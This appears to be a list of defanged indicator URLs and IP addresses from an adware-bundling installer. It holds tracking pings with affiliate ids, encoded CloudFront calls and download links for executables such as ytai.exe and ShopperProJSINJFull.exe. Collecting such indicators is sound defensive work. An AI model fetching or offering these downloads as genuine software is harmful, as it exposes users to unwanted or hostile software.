hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&0.49104335703009616
hxxp://d4ekdi381yoqv.cloudfront.net/install.ashx?e=aonlVHCKlbVPNjxRBLtb40RRy RFgoZeHBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atd28MibsCaBsQXlxtBq2M/Wb87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9PGH ugOdU1dJ9zwWOe4GWkqTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8Zwk6Ivra9mA ljlEQKk7qP8ZX0e8f/wZaex k0lO1bRlHilhBCrHutCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE= 54.230.202.95
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGuHIWxfCuVNupHivO720KFFagtWkIz2ISx9RhQzQsRLGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSrgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtm1Uc0BN5IxI= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilH62FRv14q4TwTxIUcsgQ w9jOlNWXvBhRc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tkSry2La0pAsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGOTz1mAXFvBrPiCC4paVhd51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGB0VQjjQGElPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKuCJHFnO09bqpFYl/7xBfYArlpNKKdx85zJU47iDwkO2bVRzQE3kjEg== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilFJrxsBNiLaIoQ/YD6Ylfh4s IILilpWF3SrJmHujm63ABluAeShdF9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.83
hxxp://d2wy0yopxw6nne.cloudfront.net/yta33_sh_full.exe 54.230.200.21
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGUdFrhJe3WxdJDpDz//pXKbvHgH1rDiuWSzoZuyojt PDCkamWPkwR nZ49x ZwAb3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilG/TyjmwB5PDLPiCC4paVhdy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilG6nyHpDS4bOY4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FdcbuyjMlr5C9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyuE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZLGLAfTrAj6o= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilE89M3w jUOHhMAGkRtqR4lD3rLLdbpIg4ziRr/akiwhTFy9WhiMhHRBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLVsX5xTGf2n1NoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0A/NrfOEITMy 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/ytai.exe 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilH2vh7hk0cgBBQC drCF7eFGvGaf/td2AvO7beQ5yJE1ItX z kBM18bMPO4Hl2XHOoh 03ARIl sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilFQ8FnfYbyw8RQC drCF7eFUmQQdPDgqNo92S527KGfc4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGp5hhmFUu/wdCUHeR8YCF3HIVD2kslcMDwqofAqjkOQ/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilEOTLcOqfVOXSmF904v4t2Dm/O2qbWSzQzF5mlVsbpBVmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSrgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtm1Uc0BN5IxI= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGSr4DTw5uXZI4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMrhOrI7ufq4FE8nd B8zyXMKlr69zlJAit74VReywqQWSxiwH06wI q 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilEHhLicvnhfXymF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU4a2AY8Es2IqZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2rylZq4Q1VXWsM 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERJL7ZfSEVa6OEQyD12F 1Nyjgb6v7cXpPt2nKkLkHTcAQh7fCP95dTKIvain/ mm oQ3ihp8iyABkNoF4u38LkIDxcw9tjUHd6808AiUQEulsmw3Hl6laVkU2H z7sW5Uv0iKnRIooKPoID5x5YtLWQXzTkQDbdEkq8hLuB0cJXwtOb7hYQlix0aoe2/agTRYhtk53Vn6HHwE8g4Yt1p46NH6wMvCefXXfa4AbUiuRjCdp8Ch1eJyoUxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERKbvoGA4XsmV4XCb9CiaQyu0JQd5HxgIXf46OoQvinCN9FInQ/3aUB0hvdqivECN yHV1LMlp88b6eEsn81noLJjYhcnCVtRQ 3pbZbEWnWARD9BVsk40bmx4ABUCsqm0puvaNfs0YIq ns4WS9HyHR4nwc6PiZLfgIE7jpNROtzDm81F21dSoQ1V4Hek0AV9mn0FiVjXc3ENVeB3pNAFfZhngPKyfI04xX2w3GuEsAbyztZqn9Yn 2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLVsX5xTGf2n1NoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0A/NrfOEITMy 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERJL7ZfSEVa6OJFqo9IL4nrDFAL52sIXt4XOSMm4SbI/lC36 lBzVeTnB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU4a2AY8Es2IqZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2rylZq4Q1VXWsM 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERLciXFAHp4HlL1HtSmBYQHI0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=j7YMo/n29XMVCZIctrluXpVvxobzfh8z/grZOB60hz54E7mrr1h80jmXqQawsZSOUA7dl9owwhJBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1P77DGVW/zPIku8xZXzyRdbCX1FtTkCv6XJj4nqCRCCle333RAvM0VMCx2KlVs8m8LqSlVGmgAnwDDNmmGug8UNz4r4Sza48LkfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=blUJ6JGwk9IdAPCRcxLtz/a/qCoKAeVUjA5kVqVgWdD8SaNRCRsmETynsL3GEE9THxNehxSBobnl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4H9enuGnP2eRwzNptWSIT43Wq7IsWCDz4lRVRTi0pA8e K9V0GRRES2/ /pHLzwo46XiXyTIj07NCUHeR8YCF3f3amhGF4Du/GojbssuQdE1bQfHq0QVBDAqQD6wYK7JQE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtWxfnFMZ/afU2jIarPQLm1vWMx1IDzZCAiSHm/HybhFS9eA0ci2BjQD82t84QhMzI= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=KSz5qzb2KgIHmSWm27gjw4xXl6h7wlThoTOTuZNeMFD8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LntO0hfxvipXLS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqcl/Ws PcA i2e 30EIiBCCYhSK4oI05rb38XFohDsSs4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=k64GogClQtXHiNdSCLSbRx1EyVQcGKtmQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB2iZCCrzprTQVjr4IQgU6/03VTKOu38TtLPiCC4paVhdQW0QLiFfYl12K9rRzWJ3HioE61g3AUaSxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=k64GogClQtXHiNdSCLSbRx1EyVQcGKtmQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB2iZCCrzprTQAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7odyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYipmDRlfy34hyc0iIiDxwuPWp0tEVr E2weBhV8LGHavKVmrhDVVdaww= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNJiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkAt2EiWf 0FATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNIwNlMFOpV0Sjs1eJiiYYwojgb6v7cXpPu7w RGhL4bCV24GJNKQQ3n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNIoPfCrfVvRJhQC drCF7eFW4i9HDfAHxSn58ZndcT3u/P8mddpznAd5QFz/uOguqr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/t.ashx?e=XJYuqQQo69e7kz6lYX7QXoxXl6h7wlThSJD6CunAiBj8ln8Iap23//2TEkHeJNDUNLVXkHqu5msN/ec5/N5mEQT3jNVgt0vbd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=eFCD8T/coic9XN4SPQf2KR0A8JFzEu3P43ARP/2L O6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fItzmslvEwWlLhu0b45kiT9zjnfHDvMlV pHivO720KFFagtWkIz2IR4WLbCbjSKVVz29 azWLLzqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5HLnHRSngDc8= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=eFCD8T/coic9XN4SPQf2KR0A8JFzEu3P43ARP/2L O6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fItzmslvEwWlLhu0b45kiT YRPInKLFMVV2fkhc dP37s IILilpWF3SrJmHujm63Cf5bqaDCRXd5hh73raZ3I13CCeuVDoTn5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yzBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== 54.230.200.83
hxxp://d4ekdi381yoqv.cloudfront.net/install.ashx?e=2v0SNuZrMFyRcITdAqjv5seI11IItJtHKfVlCnXptyQn W6mgwkV3fvMvmvRdHFgXKNbNNj7X1sST4rKteRix0jq2IY Ol30IKZx2SVSzVvxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UQBWGehDOL40qPeikK78R8xbc 92iXckPxnmBTMAEcL919Jcjat2bhDcYhZqg O20IW0Zfv5k/lql C6 0fy7AVU/GQ/6lQnvLO68mmZUli4qPeikK78R8xbc 92iXckPlz6gqmRTJwihVwgwNUU6llMECSZi6zLdwDxA009XUTxneX/0 ooQKGynD/t/TSE8Wn2VgKtPO53Dq438Eo8rwMCai5OFCG9k2sbLEbAG5xG4aFl18N5KSUFmrpPPnPUEPKp8MLmAxBRww8M76XdRS1zslN/Oom5DbE2hSZV1srvsrduYhMMj29VDu3Y6tuFjn TmElZC8XeJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY 54.230.202.95
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qRgWBdCKjfmtrp4QvWU0ETeE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZilRRX95CiBDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1Px8I08wxlBW/ 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYipmDRlfy34hyc0iIiDxwuPWp0tEVr E2weBhV8LGHavKVmrhDVVdaww= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== 54.230.200.83
hxxp://n4xkllm8-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe 198.232.124.192
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1OGtgGPBLNiKmYNGV/LfiHJzSIiIPHC49anS0RWv4TbB4GFXwsYdq8pWauENVV1rDA== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3y7zLJF1EQs63NQFKTd3L/Kt8x6kEY4pNtaXj6719HofA6J5 vpfRM 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdry399QCDORXJ6VdhY7lmet4gUmCToGzJO3mE1Cb/I uCEIzzgG5sHJ7aitb9T2k1gSd7mFoc4Utgp3lKUo42BvPCdlJGm 5eEq4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.83
